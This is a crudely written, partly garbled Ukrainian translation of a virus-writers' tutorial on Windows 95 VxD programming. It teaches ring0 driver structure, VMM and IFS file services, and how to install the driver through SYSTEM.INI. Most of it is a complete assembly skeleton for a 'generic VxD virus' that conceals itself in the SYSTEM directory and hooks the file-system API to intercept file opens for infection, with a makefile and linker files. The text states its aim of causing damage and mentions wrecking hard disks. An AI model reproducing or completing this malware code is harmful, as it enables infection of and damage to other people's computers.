Вірусно ориентировачное керівництво з написання VxD. Це керівництво дає тільки первинне ознайомлення з програмуванням VxD. Щоб повністю отримати уявлення про предмет розмови, вам потрібно щось більше ніж просто цей файл.

Що таке VxD?
————–

Ну що ж, почнемо з того, що нам в ньому цікаво… VxD це 32-бітний шматок
коду, що виконується в захищеному режимі з привілеями Кольца0 (ring0).
Все це зроблено тому, що вони мають справу з системними ресурсами (такими як
драйвери заліза і інстальовані програми). Я сподіваюся, що з цього моменту,
не залишається сумнівів в тому, що саме нам у цьому цікаво? Написання VxD,
контролюючого програми (звичайно ж!). Для досягнення цього ми розглянемо то
місце в ОС, де ми можемо завдати найбільшої шкоди файлову систему.

З чого почати?

Перед початком, ви повинні дістати кілька утиліт. Ці програми доступні в
Мікрософт Девелопмент Нетворк (MSDN) та в кількох інших місцях. Вони вам
точно знадобляться, якщо ви цікавитеся написанням VxD.

— Microsoft Macro Assembler (я використовую 6.11 c).
— Linear-Executable Linker (я використовую 1.00.058).
— ADDHDR.EXE і MAPSYM32.EXE з Microsoft SDK

Так як перші віруси для Win98, написані як VxD, вже почали бродити
навколо, я виявив, що більша кількість народу шукає .INC файли, які
необхідні для компіляції всієї справи. Вам будуть потрібні наступні файли
з SDK:

— VMM.INC: у цьому файлі ви знайдете макроси і визначення сервісів VMM
— DEBUG.INC: тільки якщо вам потрібна налагодження
— SHELL.INC: цей файл визначає сервіси, які дають доступ до багатьох
функцій Windoze, таким як MessageBox.
— IFS.INC і
— IFSMGR.INC: цікаві вамЕ тільки якщо ви хочете потрахаться з файловою
системою Windows95.

Посилання на всі ці inc-файли повинні стояти в исходнике між директивами .xlist
і .list

Написання VxD
————-

Написання VxD — буде справою незрівнянно легким, якщо ми візьмемо узагальнений
приклад, і будемо додавати наш код там, де нам треба. Давайте розіб’ємо нашу
роботу на кілька стадій. Так ми зможемо інсталювати і тестувати вірус,
як тільки закінчимо роботу з черговим шматком.

Спершу почнемо з узагальненого VxD — який містить сегмент, VxD та визначення
контрольних процесів. Пізніше додамо процедуру ініціалізації в real-mode,
яка (як ми побачимо) буде всім відомої перевіркою на резидентую копію.
Потім додамо ініціалізацію VxD і перехоплення звертань до файлів. І, під кінець –
допишемо всі інші процедури VxD.

Сегменти VxD
————

Всередині VxD ми можемо знайти п’ять різних типів серментов. Кожен з них має
свої власні характеристики. Для того, щоб оголосити ці сегменти ми
можемо використовувати наступний макрос:

— VxD_CODE_SEG і VxD_CODE_ENDS: ще зветься _LTEXT, — кодовий сегмент
захищеного режиму. Оголошення цього сегмента обов’язково.

— VxD_DATA_SEG і VxD_DATA_ENDS: так само зветься _LDATA, визначає
сегмент даних для глобального використання в VxD. Його так-же
потрібно обьявлять.

— VxD_ICODE_SEG і VxD_ICODE_ENDS: ще зветься _ITEXT. Ці два макросу
визначають початок і кінець сегменту ініціалізації прот-моді. Цей
сегмент необов’язковий і звільняється, як тільки ініціалізація
завершена (після отримання повідомлення Init_Complete).

— VxD_IDATA_SEG і VxD_IDATA_ENDS: ще зветься _IDATA, тут ми можемо
зберігати всі необхідні для ініціалізації дані, які будуть
відкинуті як тільки ми отримаємо повідомлення Init_Complete. Використання
цього сегмента необов’язково.

— VxD_REAL_INIT_SEG і VxD_REAL_INIT_ENDS: необов’язковий сегмент, який
має так-же ім’я _RTEXT, містить процедуру, яку Менеджер Віртуальної
Машини (VMM — Virtual Machine Manager) буде викликати перед завантаженням
всіх інших частин VxD. Цей сегмент звільняється як тільки
процедура зробить повернення управління.

Всі ці сегменти, за винятком _RTEXT (ініціалізації в реальному режимі)
сегменти захищеного режиму з flat моделлю пам’яті. Це означаетЕ що всі
зміщення — 32-бітні і нам треба використати макрос «offset32» скрізь, де
ми раніше писали «offset». Тепер CS, DS, ES і SS не можуть бути змінені, але
замість них ми можемо використовувати FS і GS.

Оголошення VxD
————–

Для того, щоб оголосити наш VxD ми будемо юзати наступний макрос:

Declare_Virtual_Device ім’я, старша версія, молодша версія, контольная
процедура, ID пристрою, порядок ініціалізації, обробник V86 API,
обробник прот-модного API

Ебится седце перестало… На перший погляд це виглядає страшнувато, але
дозвольте мені написати приклад, який змінить це перше враження. Ми
обьявим VxD з ім’ям ViRuS, який буде версією 1.0 нашого вірусу.

Declare_Virtual_Device ViRuS,1,0,VxD_Control,Undefined_Device_ID,,,

Як бачите, я не испрользовал останні параметри, тому як нам (поки що?) не
цікаво надавати API для інших програм, або використовувати порядок
ініціалізації.

VxD-ID
——

Це число, яке позвоит нам відрізняти один VxD від іншого. Це необхідно
якщо VxD надає API для інших програм, або дає іншим VxD доступ до
своїх сервісів. В нашому випадку ми будемо використовувати ID — Undefined_Device_ID.

Контрольна процедура VxD
————————-

VMM посилає контрольні повідомлення для VxD, використовуючи цю процедуру. Так він
може сповіщати деякі VxD про настання певної події. Наслідуючи
нашому останньому наприклад, контрольна процедура буде виглядати так:

BeginProc VxD_Control; Ім’я контрольної процедури, яке ми
; оголосили разом з VxD

Control_Dispatch Sys_Critical_Init, ViRuS_Critical_Init
Control_Dispatch Device_Init, ViRuS_Device_Init

EndProc VxD_Control

Ми визначаємо, які процедури будуть запускатися при отриманні того чи іншого
контрольного повідомлення. Типу: якщо отримано повідомлення Sys_Critical_Init, то
буде працювати процедура ViRuS_Critical_Init, і якщо отримано повідомлення
Device_Init, то запуститься процедура ViRuS_Device_Init.

Системні Контрольні Повідомлення
——————————-

Як ми вже сказали, VMM надсилає повідомлення до VxD про те сталося сто
певна зміна в системі. Існує багато всяких повідомлень, але ми
тільки починаємо, як що нам цікаві лише кілька:

— Sys_Critical_Init: це перше повідомлення, яке отримає наш VxD. Так
як переривання ще не можна, ні Simulate_Int ні Exec_Int не можуть
бути використані. Інші сервіси в нашому розпорядженні (такі як
Get_Exec_Path, який забезпечить нас ім’ям каталогу, де інстальований
наш VxD).

— Device_Init: друге повідомлення, яке говорить нам, що переривання вже
доступні. Це нам знадобиться, коли ми поліземо в файлову систему.

— Init_Complete: третє, і останнім повідомлення відноситься до старту
системи. При виході з процедури, обробної це повідомлення, VMM
звільнить сегменти, у яких міститься код і дані для ініціалізації
(отже _ITEXT і _IDATA).

— System_Exit: це перше повідомлення з тих, які ми отримаємо, якщо
система готується до перезавантаження або вимикання. Хоча переривання
можна, сервіси Simulate_Int і Exec_Int вже не повинні
використовуватися.

— Sys_Critical_Exit: останнє повідомлення при вимиканні, я думаю
все ясно…

Для того, щоб Win95 завантажила наш VxD, ми повинні додати рядок
DEVICE=VIRUS.VxD, в секцію [386Enh] file SYSTEM.INI, потім скопіювати в VxD
каталог SYSTEM і перезавантажитися. Інше рішення показано, наприклад, у вірусі
Win95.Lizard написаному Reptile/29A. Фокус полягає у використанні
каталогу IOSUBSYS

Windows95 може завантажувати VxD динамічно, що нам дуже цікаво. Однак це
вимагає використання інших повідомлень, які повідомляють про динамічному старті
і стопі. Ця техніка не описана тут, потомы що вона більш складна і
тому-що я (#$%&%*^ в рот) не хочу провести решту свого життя за
дописуванням цієї фігні! :P))

Ініціалізація в реальному режимі
——————————-

Це єдина чать VxD, яка виконується у реальному режимі. Вона
запускається на початку процесу завантаження і ініціалізації. Ця процедура може
бути використана, щоб запобігти завантаження VxD, завантаження Windows, і т. д.
Ми будемо використовувати її для перевірки на резидентну частину, щоб уникнути
посторной завантаження VxDб якщо він вже завантажений. VMM викликає цю процедуру з
наступними параметрами:

AX -> номер версії VMM.

AH -> страшая версія.
AL -> молодша версія.

BX -> прапори при завантаженні.

Duplicate_Device_ID -> VxD з таким-же ID вже завантажений.
Duplicate_From_INT2F -> теж саме, але від int 2Fh.
Loading_From_INT2F -> сама себе пояснює 🙂

ECX -> 32-bit покажчик, який вказує на точку входу процедури сервісів
ініціалізації, яка дозволяє робити таие речі як читати
регистри або SYSTEM.INI.

EDX -> покажчик на дані від int 2fh, або null.

SI -> сегмент енвиронмент, як він переданий від MS-DOS.

Наш VxD може змусити VMM виконати деякі дії, такі як
резервування фізичних сторінок, поверненням таких параметрів:

AX -> дія.

Abort_Device_Load: це значення ми повернемо, якщо VMM скаже нам
що VxD з таким-же VxD-ID вже завантажений. Запобігає завантаження
VxD, не турбуючи інші VxD.

Abort_Win386_Load: говорить VMM, що все полетіло до біса
собачим, і що йому краще зовсім не завантажувати Windows
(що все одно скоро і так станеться) 😛

Device_Load_Ok: коли VMM отримує це значення, він розуміє
що ініціалізація йде без проблем, і процес завантаження має
продовжуватися.

No_Fail_Message: це значення використовується в комбінації з
Abort_Device_Load і Abort_Win386_Load аби запобігти
деякі повідомлення про помилку, які можуть показуватися при
скасування завантаження Win або VxD.

BX -> вказує на масив з кількістю сторінок, що резервуються для
VxD. Цей масив закінчується NULL і містить сторінки в межах
від 0000h до 0100h. Якщо ми не хочемо нічого резервувати, це
значення буде дорівнює 0000h.

EDX -> дані опису, поки що поставимо як 00000000h.

SI -> instance дані, теж проставимо в 0000h.

Цікаві нам сервіси VMM
————————–

Менеджер Віртуальної Машини (VMM) — це серце операційної системи, так як
він упавляет усіма віртуальними машинами. Крім того, він надає
деякі сервіси, частину з яких я опишу в прикладах:

Get_Cur_VM_Handle
—————–
Повертає в EBX хендл віртуальної машини, яка виконується зараз.

VMMcall Get_Cur_VM_Handle
mov [VM_handle],ebx

Get_Sys_VM_Handle
—————–
Повертає в EBX хендл системної VM

VMMcall Get_Sys_VM_Handle
mov [SysVM_handle],ebx

Get_VMM_Version
—————
Повертає інформацію про версії VMM.

VMMcall Get_VMM_Version
mov [Major],ah; Стерши номер версії
mov [Minor],al; Молодший номер версії
mov [Debug],ecx; Номер ревізії

Get_Config_Directory
——————–
Ця класна функція забезпечить нас повним шляхом до каталогу, де Windows
зберігає системні файли (такі як SYSTEM.INI).

VMMcall Get_Config_Directory
mov [win_path],edx

Get_Exec_Path
————-
Повертає вказівник на шлях, де Windows тримає файл VMM32.VXD. Це
буде найкращим каталогом для нашого вірусного VxD, де він буде приховано
між системними файлами в SYSTEM.

VMMcall Get_Exec_Path
mov [path_ptr],edx
mov [length],ecx

Регистер ECX містить число символів в рядку, включаючи останній
зворотний слеш “”.

_HeapAllocate
————-
Виділяє пам’ять в heap.

VMMcall _HeapAllocate,

or eax,eax; eax = 00h якщо помилка
jz not_allocated
mov [block_ptr], eax; Вказівник на виділений блок

#bytes -> визначає, скільки байтів потрібно виділити

flags -> може містити наступні прапорці:

HEAPLOCKEDIFDP: виділяє блок пам’яті, який не буде
свопитися, якщо для обміну використовуватимуться функції
MS-DOS або BIOS

HEAPINIT: цей прапор може бути зазначений тільки в процесі
ініціалізації. Він виділяє блок пам’яті, який буде
автоматично звільнений, як тільки инит буде закінчений.

HEAPSWAP: блок виділяється в сторінкової (свопируемой) зоні
пам’яті.

HEAPZEROINIT: виділений блок заповнюється 00h

_HeapFree
———
Звільняє блок пам’яті, який був виділений з допомогою попередньої
функції.

VMMcall _HeapFree,

or eax,eax; eax = 00h якщо помилка
jz error

Hook_V86_Int_Chain
——————
Додати новий обробник у V86 переривання. Вірус використовує цей Gollum
сервіс щоб перехопити виклик int 21h.

mov eax,int_number; Номер переривання
mov esi,OFFSET32 my_handler; Покажчик на наш обробник
VMMcall Hook_V86_Int_Chain
jc error; Прапор переносу встановлений
; при помилці

Система буде викликати новий обробник приблизно так:

mov eax,int_number; Переривання
mov ebx, VM; Хендл поточної VM
mov ebp, OFFSET32 crs; Покажчик на Client_Reg_Struc
call [my_handler]

jc pass_to_next; Прапор переносу встановлений якщо
; функція не оброблена

У нас ще є Unhook_V86_Int_Chain, чиє призначення — видаляти
обробники, такі як ми тільки що встановили.

mov eax,int_number; Номер переривання
mov esi,OFFSET32 Hook_Proc; Адреса процедури, яка буде
; видалена з ланцюжка обробників

VMMcall Unhook_V86_Int_Chain
jc error; Прапор переносу встановлений
; при помилці

Инсталлируемая Файлова Система (IFS)
————————————-

Тут знаходяться всі функції, які ми частенько використовували в MS DOS, і
які дозволяють нам відкривати файли, читати їх, і т. д… Все це буде там,
де наш вірус перехопить всі звернення ОС до файлів, і заразить їх. Але, давайте
будемо послідовні.

Щоб виконати всі наші дії над файлами, ми скористаємося сервісом,
який дозволить нам виконати такі прості операції, як читання, запис і тд.
Ось він:

mov eax,R0_OPENCREATFILE; Функція, яку ми хочемо викликати

; Необхідні параметри
mov cx,0; — Аттрібути
mov bx,2; — Прапори
mov dx,0011h; — Дію і спеціальні прапори
mov esi,OFFSET32 filename; — Вгадайте чого??? 😉

VxDCall IFSMgr_Ring0_FileIO; І нарешті, сам виклик

Тепер єдина річ, яку нам треба знати, як викликати кожну
функцію, і як передавати їй параметри. Далі приведені формати викликів
функцій, які ми будемо використовувати найбільш часто:

OpenCreateFile
————–
Будемо використовувати цю функцію, щоб відкривати або створювати файли.
Параметри виклику:

EAX -> функція R0_OPENCREATFILE
BX -> режим відкриття та прапори *
CX -> аттрібути
DH -> спеціальні прапори (R0_NO_CACHE, R0_SWAPPER_CALL)
DL -> дія, яку треба виконати *
ESI -> курсор на рядок з іменем файлу

Значення, що повертаються:

якщо CF=0

EAX -> хендл файлу
ECX -> виконане дія *

якщо CF=1 помилка

* = Дивись int 21h функцію 6ch

ReadFile
——–

З допомогою R0_READFILE ми будемо читати з уже відкритих (функцією
R0_OPENCREATEFILE) файлів. Вона чекає від нас наступних параметрів:

EAX -> R0_READFILE
EBX -> хендл файлаа
ECX -> скільки байтів вважати
EDX -> місце у файлі, де почати читання
ESI -> указаатель на буфер, куди дані будуть поміщені

На виході:

якщо CF=0 то ECX = кількість прочитаних байт
якщо CF=1 помилка

WriteFile
———
Ну так, запис в файл. Параметри:

EAX -> R0_WRITEFILE
EBX -> хендл файлу
ECX -> скільки байт записати
EDX -> місце у файлі, з якого почати запис
ESI -> покажчик на дані, які ми хочемо записати

На виході:

якщо CF=0 то ECX = кількість записаних байтів
якщо CF=1 помилка

CloseFile
———
Знадобиться, щоб закрити тільки що заражений файл 😉 Параметри:

EAX -> R0_CLOSEFILE
EBX -> хендл файлу

На виході:

якщо CF=0 то файл був вдало закритий
якщо CF=1 помилка (AX = код помилки)

GetFileSize
———–
І чому я думаю, що вона нам стане в нагоді? Викликайте з цими параметрами:

EAX -> R0_GETFILESIZE
EBX -> хендл файлу

В результаті:

якщо CF=0 то EAX = розмір файлу в байтах
якщо CF=1 помилка (AX = код помилки)

Звичайно, ми можемо почати прямо зараз… Проте, нам все ще потрібні кілька
функцій, таких як FileAttributes, RenameFile, DeleteFile, або
GetDiskFreeSpace. Як приємна несподіванка, — ми маємо ще
WriteAbsoluteDisk та ReadAbsoluteDisk, щоб поебать все навколо, якщо ми не
любимо жорсткі диски… 😉

Тепер ми вже знаємо як працювати з файлами. Нам треба знатьб як впровадитися в
файлову систему, щоб ми змогли стежити за її діями. Ми будемо
використовувати IFS менеджер приблизно так:

mov eax,OFFSET32 hook_procedure; наш обробник
push eax
VxDCall IFSMgr_InstallFileSystemApiHook
add esp,0004h
or eax,eax
jz error
mov dword ptr [prev_hook],eax; адресу попереднього
; Продовжуємо процес ініціалізації
clc
ret
error:
stc
ret

Так ми можемо повідомити файловій системі адресу нашого обробника. Подивимося на
приклад цього самого обробника:

hook_procedure:

; Ці C-виклики просто… рулять…
push ebp
mov ebp,esp
sub esp,20h

; З цього місця, ми можемо знайти параметри
; використовуючи стек

; ebp+00h -> збережене значення EBP.
; ebp+04h -> адреса повернення.
; ebp+08h -> адреса FSD функції, яка викликається для
; цього API.
; ebp+0Ch -> номер функції, яку намагаються виконати
; ebp+10h -> номер диска, на якому все відбувається (1 = A:,
; -1 якщо UNC)
; ebp+14h -> тип диска
; ebp+18h -> кодова сторінка, в якій юзер набрав свою терміну
; BCS_ANSI = ANSI, BCS_OEM = OEM
; ebp+1Ch -> вказівник на структуру виклику IFS менеджера (IOREQ)

; Всього 20h байт

; Наступне, що ми зробимо — перевіримо, чи це не було нашим
; власним викликом при зараженні файлу

; Використовую прапор зайнятості, ми уникнемо нескінченного циклу.

cmp dword ptr [our_own_call],«BUSY»
je exit_FS_hook

; Тут ми перевіримо, яка була викликана функція

cmp dword ptr [ebp+0Ch],IFSFN_OPEN
je virus_OPEN_FILE

exit_FS_hook:

mov eax,dword ptr [ebp+1Ch]
push eax
mov eax,dword ptr [ebp+18h]
push eax
mov eax,dword ptr [ebp+14h]
push eax
mov eax,dword ptr [ebp+10h]
push eax
mov eax,dword ptr [ebp+0Ch]
push eax
mov eax,dword ptr [ebp+08h]
push eax

; І нарешті, викличемо попередню функцію IFS

mov eax,dword ptr [Prev_IFS_Hook]
call dword ptr [eax]

; Процедура повинна очистити стек перед поверненням

add esp,00000018h

; Повернення

leave
ret

Канонізовані шляху
———————

Кожна рядок шляху, яку IFS пропускає в FSD — записана в Unicode. Ці
канонізовані шляху, трохи відрізняються від старого доброго C:DOS (з яким
ми так добре знайомі 😉

Ця структура складається з:

1 слово (WORD) містить довжину рядка (включаючи це слово але без
завершального нульового (NULL) символу.

1 слово (WORD) містить зсув до тієї частини рядка, яка
описує шлях, кожен елемент шляху містить частину інформації про шляхи

Різні елементи шляху. Їх структура складена з 1 слова (WORD),
містить довжину (включаючи це саме слово) і наступну за нею
Unicode рядок з ім’ям цього елемента.

Всі канонізовані шляхи містять у собі повний шлях від кореневого каталогу.

Сервіси Інстальоване Файлової Системи (IFS)
———————————————

Деякі з цих сервісів мають C-формат виклику, так що параметри зберігаються в
стеку. Інші — написані щоб викликатися з ASM, і потребують завантаження
параметрів в регістри. Єдиний сервіс, який буде корисний для нас
зараз — IFSMgr _GetVersion, який дозволить нам перевірити версію IFS.

IFSMgr_GetVersion

На вході:

Ну немає ніяких параметрів тут 🙂

На виході:

Якщо CF=0 то EAX містить версію IFS менеджера
Якщо CF=1 помилка

Узагальнений VxD вірус
——————–

Це приклад узагальненого VxD вірусу, на який можна навісити додатковий
код. Проект складається з наступних файлів:

VIRUS.ASM; ASM ісходник VxD вірусу
VIRUS.DEF; Файл визначення модулів
VIRUS.LNK; Файл з інструкціями для зв’язування
MAKEFILE; Файл поекта

; — -[VIRUS.ASM]- — – — – — – — – — – — – — – — – — – — – — – — – — – — – >8

MASM=1

.386p
.XLIST
INCLUDE VMM.Inc
INCLUDE ifs.inc
INCLUDE ifsmgr.inc
INCLUDE SheLL.Inc

.LIST

Declare_Virtual_Device VXD, 1, 0, VXD_Control, Undefined_Device_ID ,,,

VxD_REAL_INIT_SEG

Код ініціалізації реальнм режимі для win95

BeginProc VxD_Real_Init_Proc

; Перевірка на резидентну частину

test bx,Duplicate_Device_ID
jnz short abort_virus_load

; Ніякі дані (exclusion/instance/reference) не використовуються

xor bx,bx
xor si,si
xor edx,edx

; Не запущений — інсталювати

mov ax,Device_Load_Ok
ret

abort_virus_load:

; Обірвати завантаження

mov ax,Abort_Device_Load or No_Fail_Message
ret

EndProc VxD_Real_Init_Proc

VxD_REAL_INIT_ENDS

VxD_LOCKED_DATA_SEG

; Ми можемо писати в залоченний сегмент коду, тому що
; він всередині залоченного сегмента даних

VxD_LOCKED_CODE_SEG

ініціалізація пристрою Virus95

BeginProc VXD_Device_Init

; Цей код ініціалізації, знаходиться всередині VxD_LOCKED_CODE_SEG
; щоб уникнути його скидання в своп в процесі ебли з IFS.

; Перевірити версію IFS

cld
VxDCall IFSMgr_Get_Version
jc exit_device_init

; Отримати шлях до WIN386.EXE

VMMCall Get_Exec_Path

; Копіювати шлях в наш буфер

mov esi,edx
mov edi,OFFSET32 VxD_File_Name
cld
rep movsb

; Дописати ім’я нашого VxD файлу відразу після шляхи

mov esi,OFFSET32 virus_VxD_Name
mov ecx,0Bh
cld
rep movsb

; З цього моменту ми маємо шлях і ім’я нашого VxD
; вірусу прямо в Виндузевом каталозі SYSTEM …
; Ми можемо вважати його у буфер, або копіювати безпосередньо
; у процесі зараження файлів

; Наступний сервіс викликається щоб перехопити API файлової системи.
; Він повинен бути викликаний, якщо VxD хоче спостерігати за викликами API
; і робити з ними всякі цікаві штуки.
; Менеджер IFS повертає покажчик на наступний обробник у ланцюжку

mov eax,OFFSET32 virus_FS_Monitor
push eax
VxDCall IFSMgr_InstallFileSystemApiHook

; Якщо дзвінок невдалий (пам’яті напрмер не вистачило),
; то повертається 0

add esp,00000004h

or eax,eax
jz error_device_init
mov dword ptr [Prev_IFS_Hook],eax

exit_device_init:

; Продовжити поцесс ініціалізації

clc
ret

error_device_init:
stc
ret

EndProc VXD_Device_Init

обробник файлового API Virus’а-95

BeginProc virus_FS_Monitor

; Бля… Використовуємо C-угоди про виклики

push ebp
mov ebp,esp
sub esp,20h

; Параметы в стеку:

; ebp+00h -> збережене значення EBP.
; ebp+04h -> адреса повернення.
; ebp+08h -> адреса FSD функції, яка викликається для
; цього API.
; ebp+0Ch -> номер функції, яку намагаються виконати
; ebp+10h -> номер диска, на якому все відбувається (1 = A:,
; -1 якщо UNC)
; ebp+14h -> тип диска
; ebp+18h -> кодова сторінка, в якій юзер набрав свою терміну
; BCS_ANSI = ANSI, BCS_OEM = OEM
; ebp+1Ch -> вказівник на структуру виклику IFS менеджера (IOREQ)

; Всього 20h байт

; Перевіримо, а не обрабатывам-ми свій власний виклик?

cmp dword ptr [our_own_call],«BUSY»
je exit_FS_hook

; Перевіримо на OPEN
; Ця функція так-же викликається при виконанні файлів…

cmp dword ptr [ebp+0Ch],IFSFN_OPEN
je virus_OPEN_FILE

exit_FS_hook:

; Приготуємо параметри для попереднього виклику обробника FS API

mov eax,dword ptr [ebp+1Ch]
push eax
mov eax,dword ptr [ebp+18h]
push eax
mov eax,dword ptr [ebp+14h]
push eax
mov eax,dword ptr [ebp+10h]
push eax
mov eax,dword ptr [ebp+0Ch]
push eax
mov eax,dword ptr [ebp+08h]
push eax

; Викличемо його

mov eax,dword ptr [Prev_IFS_Hook]
call dword ptr [eax]

; Оброблювач IFS викликів повинен чистити стек перед
; поверненням управління

add esp,00000018h

; Тому, звідки викликали

leave
ret

Відкрити/створити файл

virus_OPEN_FILE:

; Збережемо регістри
pushfd
pushad

; Проставимо наш флажек зайнятості
mov dword ptr [our_own_call],«BUSY»

; Тут можна напхати код зараження файлу

; Очистимо наш флажек зайнятості

mov dword ptr [our_own_call],«FREE»

; Регістри відновимо

popad
popfd
jmp exit_FS_hook

EndProc virus_FS_Monitor

Контролная процедура VxD Virus95
(Ебать, а як гарно було англійською — Virus95 VxD control dispatcher:)))

BeginProc VXD_Control

Control_Dispatch Device_Init, VxD_Device_Init
clc
ret

EndProc VXD_Control

VxD_LOCKED_CODE_ENDS

Буфери вірусу в залоченном сегменті даних

Prev_IFS_Hook dd 00000000h; Попередній обробник IFS
our_own_call db «EERF»
VxD_File_Name db 80h dup (00h); Шлях до VxD-вірусу
virus_VxD_Name db «virus.VXD»,00h; Ім’я файлу VxD-вірусу

VxD_LOCKED_DATA_ENDS

END

; — -[VIRUS.DEF]- — – — – — – — – — – — – — – — – — – — – — – — – — – — – >8

LIBRARY VXD
DESCRIPTION ‘ViRuS95’
EXETYPE DEV386

SEGMENTS
_LTEXT PRELOAD NONDISCARDABLE
_LDATA PRELOAD NONDISCARDABLE
_ITEXT CLASS ‘ICODE’ DISCARDABLE
_IDATA CLASS ‘ICODE’ DISCARDABLE
_TEXT CLASS ‘PCODE’ NONDISCARDABLE
_DATA CLASS ‘PCODE’ NONDISCARDABLE

EXPORTS
VXD_DDB @1

; — -[VIRUS.LNK]- — – — – — – — – — – — – — – — – — – — – — – — – — – — – >8

VIRUS.obj
VIRUS.vxd /NOI /NOD /NOP
VIRUS.map /MAP

VIRUS.def

; — -[MAKEFILE] — – — – — – — – — – — – — – — – — – — – — – — – — – — – — >8

NAME = VIRUS

LINK = link386.exe

!ifdef DEBUG
DDEBUG =-DDEBLEVEL=1 -DDEBUG
!else
DDEBUG =-DDEBLEVEL=0
!endif

all: VIRUS.vxd

ASM = ml
#AFLAGS = -coff -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 $(DDEBUG)
AFLAGS = -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 $(DDEBUG)
ASMENV = ML

VIRUS.vxd: VIRUS.def VIRUS.obj
link386 @VIRUS.lnk
addhdr VIRUS.vxd
mapsym32 VIRUS

P. S. многовото, але якщо розберетеся то підмога буде вам добре, сам я ще не розкопав все часу не вистачає. Статтю написав якийсь VOXED 🙂